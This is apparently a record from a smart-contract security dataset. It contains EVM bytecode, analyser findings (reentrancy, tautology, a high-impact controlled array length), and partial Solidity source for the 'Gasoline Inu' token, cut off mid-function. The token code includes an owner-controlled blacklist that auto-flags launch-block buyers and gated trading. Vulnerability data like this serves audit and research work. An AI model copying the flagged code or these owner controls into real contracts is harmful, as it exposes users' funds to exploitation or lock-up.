0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063082a4513146100e05780630c915c741461010d5780632dda30a71461017d5780633ead67b5146101e95780634ded9bfe1461023a57806369e111ba146102ac5780636c9c5944146102d957806375f890ab1461034557806385c373c31461037e5780638da5cb5b146103cf578063bf9ef86514610424578063cfdba32014610487578063dde4f41a146104d4578063df32754b14610586578063f2fde38b146105db575b600080fd5b34156100eb57600080fd5b6100f3610614565b604051808215151515815260200191505060405180910390f35b341561011857600080fd5b610163600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a56565b604051808215151515815260200191505060405180910390f35b341561018857600080fd5b6101cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091905050611500565b604051808215151515815260200191505060405180910390f35b34156101f457600080fd5b610220600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611825565b604051808215151515815260200191505060405180910390f35b341561024557600080fd5b6102926004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506119d9565b604051808215151515815260200191505060405180910390f35b34156102b757600080fd5b6102bf611aab565b604051808215151515815260200191505060405180910390f35b34156102e457600080fd5b61032b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091905050611c10565b604051808215151515815260200191505060405180910390f35b341561035057600080fd5b61037c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f85565b005b341561038957600080fd5b6103b5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612060565b604051808215151515815260200191505060405180910390f35b34156103da57600080fd5b6103e2612502565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042f57600080fd5b6104456004808035906020019091905050612527565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049257600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612566565b6040518082815260200191505060405180910390f35b34156104df57600080fd5b61056c60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050612745565b604051808215151515815260200191505060405180910390f35b341561059157600080fd5b61059961284e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105e657600080fd5b610612600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612874565b005b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561067757600080fd5b6002805490509350600092505b83831015610a4a5760028381548110151561069b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501480156107795750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548110151561076357fe5b9060005260206000209060040201600301546000145b80156107e357506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154811015156107cf57fe5b906000526020600020906004020160020154115b801561084d5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548110151561083757fe5b9060005260206000209060040201600201544210155b15610a2e5761085b836129c9565b905080151561086d5760009450610a4f565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e724529c8360006040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018215151515815260200192505050600060405180830381600087803b151561093657600080fd5b6102c65a03f1151561094757600080fd5b5050507f56a1572a4a0b9c7b0d647a77d80643a49879137d0d23879c4854d48d8d7d1cd882600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154811015156109b957fe5b906000526020600020906004020160000154604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1610a27600185612b0590919063ffffffff16565b9350610a45565b610a42600184612b1e90919063ffffffff16565b92505b610684565b600194505b5050505090565b6000806000806000806000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ac057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff1614151515610afc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff1614151515610b3857600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e8e306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515610c3357600080fd5b6102c65a03f11515610c4457600080fd5b50505060405180519050111515610c5757fe5b6002805490509850600097505b888810156114ec57600288815481101515610c7b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696508b73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156114d157600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050955060009450600093505b858410156110f257600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481101515610d7f57fe5b90600052602060002090600402019250429150826002015482118015610da9575060008360020154115b8015610db9575060008360030154115b15610f6157826003015483600201548303846000015402811515610dd957fe5b0490508260010154811115610df057826001015490505b818360020181905550610e10818460010154612b0590919063ffffffff16565b83600101819055506305f5e10083600101541015610e5c57610e328785612b3c565b1515610e4157600099506114f1565b60019450610e59600187612b0590919063ffffffff16565b95505b7f56a1572a4a0b9c7b0d647a77d80643a49879137d0d23879c4854d48d8d7d1cd88782604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1610f1981600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1e90919063ffffffff16565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110cb565b82600201548210158015610f79575060008360020154115b8015610f89575060008360030154145b156110ca57610f988785612b3c565b1515610fa757600099506114f1565b60019450610fbf600187612b0590919063ffffffff16565b95507f56a1572a4a0b9c7b0d647a77d80643a49879137d0d23879c4854d48d8d7d1cd8878460000154604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16110868360000154600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1e90919063ffffffff16565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b8415156110e9576110e6600185612b1e90919063ffffffff16565b93505b60009450610d2b565b6000600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561138257600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e724529c8860006040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018215151515815260200192505050600060405180830381600087803b151561120357600080fd5b6102c65a03f1151561121457600080fd5b505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8d8d600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561135757600080fd5b6102c65a03f1151561136857600080fd5b50505060405180519050151561138157600099506114f1565b5b6000600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905014156113ea576113d6886129c9565b15156113e557600099506114f1565b6114c8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e724529c8860016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018215151515815260200192505050600060405180830381600087803b15156114b357600080fd5b6102c65a03f115156114c457600080fd5b5050505b600199506114f1565b6114e5600189612b1e90919063ffffffff16565b9750610c64565b600099505b50505050505050505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561155d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561159957600080fd5b6000841115156115a857600080fd5b6000831180156115b9575060008210155b15156115c457600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156116bf57600080fd5b6102c65a03f115156116d057600080fd5b505050604051805190501115156116e357fe5b6116ef85858585611c10565b15156116fe576000905061181d565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3387876000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15156117ff57600080fd5b6102c65a03f1151561181057600080fd5b5050506040518051905090505b949350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561188257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156118be57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b151561197a57600080fd5b6102c65a03f1151561198b57600080fd5b5050506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a3757600080fd5b6000835114151515611a4857600080fd5b600090505b8251811015611aa057611a768382815181101515611a6757fe5b90602001906020020151612060565b1515611a855760009150611aa5565b611a99600182612b1e90919063ffffffff16565b9050611a4d565b600191505b50919050565b60008060008060008060006002805490509550600094505b85851015611c0257600285815481101515611ada57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509250600091505b82821015611be757600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515611ba657fe5b90600052602060002090600402019050806002015442101515611bcc5760019650611c07565b611be0600183612b1e90919063ffffffff16565b9150611b52565b611bfb600186612b1e90919063ffffffff16565b9450611ac3565b600096505b50505050505090565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c7057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614151515611cac57600080fd5b600086111515611cbb57600080fd5b600085118015611ccc575060008410155b1515611cd757600080fd5b6002805490509150600090505b81811015611d7a578673ffffffffffffffffffffffffffffffffffffffff16600282815481101515611d1257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611d5f57611d7a565b611d73600182612b1e90919063ffffffff16565b9050611ce4565b8181101515611de75760028054806001018281611d979190612cc4565b9160005260206000209001600089909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806001018281611e389190612cf0565b916000526020600020906004020160006080604051908101604052808a81526020018a815260200189815260200188815250909190915060008201518160000155602082015181600101556040820151816002015560608201518160030155505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e724529c8860016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018215151515815260200192505050600060405180830381600087803b1515611f6357600080fd5b6102c65a03f11515611f7457600080fd5b505050600192505050949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fe057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561201c57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120c357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141515156120ff57600080fd5b6002805490509350600092505b838310156124f45760028381548110151561212357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508573ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124d9576001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501480156122355750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548110151561221f57fe5b9060005260206000209060040201600301546000145b801561229f57506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548110151561228b57fe5b906000526020600020906004020160020154115b80156123095750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154811015156122f357fe5b9060005260206000209060040201600201544210155b156124d057612317836129c9565b905080151561232957600094506124f9565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e724529c8360006040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018215151515815260200192505050600060405180830381600087803b15156123f257600080fd5b6102c65a03f1151561240357600080fd5b5050507f56a1572a4a0b9c7b0d647a77d80643a49879137d0d23879c4854d48d8d7d1cd882600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548110151561247557fe5b906000526020600020906004020160000154604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b600194506124f9565b6124ed600184612b1e90919063ffffffff16565b925061210c565b600094505b50505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028181548110151561253657fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600080600080600073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16141515156125ae57600080fd5b600096506002805490509550600094505b85851015612736576002858154811015156125d657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561271b57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509250600091505b8282101561271a57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811015156126d657fe5b906000526020600020906004020190506126fd816001015488612b1e90919063ffffffff16565b9650612713600183612b1e90919063ffffffff16565b9150612682565b5b61272f600186612b1e90919063ffffffff16565b94506125bf565b86975050505050505050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127a357600080fd5b60008451141515156127b457600080fd5b60008351141515156127c557600080fd5b825184511415156127d257fe5b600090505b83518110156128425761281884828151811015156127f157fe5b90602001906020020151848381518110151561280957fe5b90602001906020020151610a56565b15156128275760009150612847565b61283b600182612b1e90919063ffffffff16565b90506127d7565b600191505b5092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128cf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561290b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600083101515156129dc57600080fd5b600280549050831015156129ef57600080fd5b8290505b612a0c6001600280549050612b0590919063ffffffff16565b811015612ad4576002612a29600183612b1e90919063ffffffff16565b815481101515612a3557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600282815481101515612a7057fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612acd600182612b1e90919063ffffffff16565b90506129f3565b612aed6001600280549050612b0590919063ffffffff16565b600281612afa9190612d22565b506001915050919050565b6000828211151515612b1357fe5b818303905092915050565b6000808284019050838110151515612b3257fe5b8091505092915050565b6000806000808410151515612b5057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515612b8c57600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209150818054905084101515612bdf57600080fd5b8390505b612bfb60018380549050612b0590919063ffffffff16565b811015612c935781612c17600183612b1e90919063ffffffff16565b815481101515612c2357fe5b90600052602060002090600402018282815481101515612c3f57fe5b906000526020600020906004020160008201548160000155600182015481600101556002820154816002015560038201548160030155905050612c8c600182612b1e90919063ffffffff16565b9050612be3565b612cab60018380549050612b0590919063ffffffff16565b8281612cb79190612cf0565b5060019250505092915050565b815481835581811511612ceb57818360005260206000209182019101612cea9190612d4e565b5b505050565b815481835581811511612d1d57600402816004028360005260206000209182019101612d1c9190612d73565b5b505050565b815481835581811511612d4957818360005260206000209182019101612d489190612d4e565b5b505050565b612d7091905b80821115612d6c576000816000905550600101612d54565b5090565b90565b612daf91905b80821115612dab5760008082016000905560018201600090556002820160009055600382016000905550600401612d79565b5090565b905600a165627a7a72305820d8d21a83990f2abbbaa1c0f1e61cd67fa158757ac8e85f30758c9a5e1c9dc8290029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 7,959 |
0xe5849C1204ED260893AFF4295c49f447A59dEB75
|
/**
Gasoline Inu
GASOLINU
http://t.me/GasolineInu
http://twitter.com/Gasoline_Inu
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GasolineInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Gasoline Inu";
string private constant _symbol = "GASOLINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 11; // 3% will be donated to American Cancer Society
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 11; // 3% will be donated to American Cancer Society
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xD947fdDF69C04AEBFAB3D92045B43eDBcb1EF8B8);//
address payable private _marketingAddress = payable(0x744fe30Be76549108f61B09e42fd9e72A44E7d5E);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //
uint256 public _maxWalletSize = 30000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
